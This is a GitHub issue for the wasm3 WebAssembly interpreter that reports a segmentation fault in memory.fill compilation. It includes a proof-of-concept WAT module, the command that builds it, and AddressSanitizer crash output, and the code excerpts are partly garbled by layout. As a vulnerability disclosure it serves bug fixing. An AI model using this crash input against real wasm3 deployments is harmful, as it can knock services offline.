

New issue Jump to bottom

[Segmentation fault] slot index overflow because of slot missing in some bytecode #337



halvk opened this issue on Jun 20 · 3 comments

Labels

wasm-validation

```
halvk commented on Jun 20 • edited •
                                                                                                           Contributor
      static M3Result Compile_Memory_CopyFill (IM3Compilation o, m3o
                                                                           d_m3Op (MemFill)
      pcode_t i_opcode)
                                                                               u32 size = (u32) _r0;
                                                                              -u32 byte = slot (u32);
         (EmitOp (o, op));
                                                                              _ u64 destination = slot (u32);
                                                     Need two slot 3
         (PopType (o, c_m3Type_i32));
          (EmitSlotNumOfStackTopAndPop (o));
         (EmitSlotNumOfStackTopAndPop (o));
                                                                   But
      static inline M3Result EmitSlotNumOfStackTopAndPop (IM3Compilation o)
          // no emit if value is in register
                                                                                        No emit slot if value is in
         if (IsStackTopInSlot (o)) =
                                                                                       register
             EmitSlotOffset (o, GetStackTopSlotNumber (o));
          return Pop (o);
      }
POC is as poc.wasm and the source is here ,use `./wat2wasm --enable-all --no-check poc.wat` to get
poc.wasm
   (module
     (type (;0;) (func))
     (func (;0;) (type 0)
       f32.const 1.1
       f32.ceil
       i32.const 0x13
       i32.const 0x2
       memory.fill
     (memory (;0;) 1)
     (export "_start" (func 0))
     (start 0))
```

```
ASAN:DEADLYSIGNAL
==18012==ERROR: AddressSanitizer: SEGV on unknown address 0x631045ba0400 (pc 0x5582116de9
==18012==The signal is caused by a READ memory access.

#0 0x5582116de924 in op_MemFill /home/sea/Desktop/wasm3/source/m3_exec.h:734

#1 0x5582116df744 in op_SetRegister_i32 /home/sea/Desktop/wasm3/source/m3_exec.h:941

#2 0x5582116def7b in op_Entry /home/sea/Desktop/wasm3/source/m3_exec.h:272

#3 0x5582116def7b in op_Entry /home/sea/Desktop/wasm3/source/m3_exec.h:808

#4 0x55821170518e in RunCode /home/sea/Desktop/wasm3/source/m3_exec_defs.h:58

#5 0x5582117095af in m3_RunStart /home/sea/Desktop/wasm3/source/m3_env.c:570

#6 0x558211709696 in checkStartFunction /home/sea/Desktop/wasm3/source/m3_env.c:751

#7 0x5582117096083 in m3_CallArgv /home/sea/Desktop/wasm3/source/m3_env.c:951

#8 0x5582116a859a in repl_call /home/sea/Desktop/wasm3/platforms/app/main.c:274

#9 0x5582116a557 in main /home/sea/Desktop/wasm3/platforms/app/main.c:634

#10 0x7fc0379adc86 in _libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)

#11 0x5582116a7229 in _start (/home/sea/Desktop/m3+0x69229)
                                                                                                                                                                                                                                                                    s 0x631045ba0400 (pc 0x5582116de925 bp 0x7fffea78dca0 sp 0x7fffea78dc50 T0)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/sea/Desktop/wasm3/source/m3_exec.h:734 in op_MemFill
 ==18012==ABORTING
```

poc.wasm.zip



vshymanskyy commented on Jun 20

Member

Thanks for reporting!

vshymanskyy commented on Jul 12

Member

Looks like related to #344?

- 🌑 vshymanskyy added backlog wasm-validation labels on Aug 28
 - number of this as completed on Aug 28 vshymanskyy closed this as completed on Aug 28
- wshymanskyy removed the backlog label on Aug 29

jhutchings1 commented on Sep 10

I saw this issue was referenced in CVE-2022-34529. Does this impact any of the developer packages for WASM? cc: @taladrane



no signices
No one assigned
Labels
wasm-validation
Milestone
No milestone
Development
No branches or pull requests
3 participants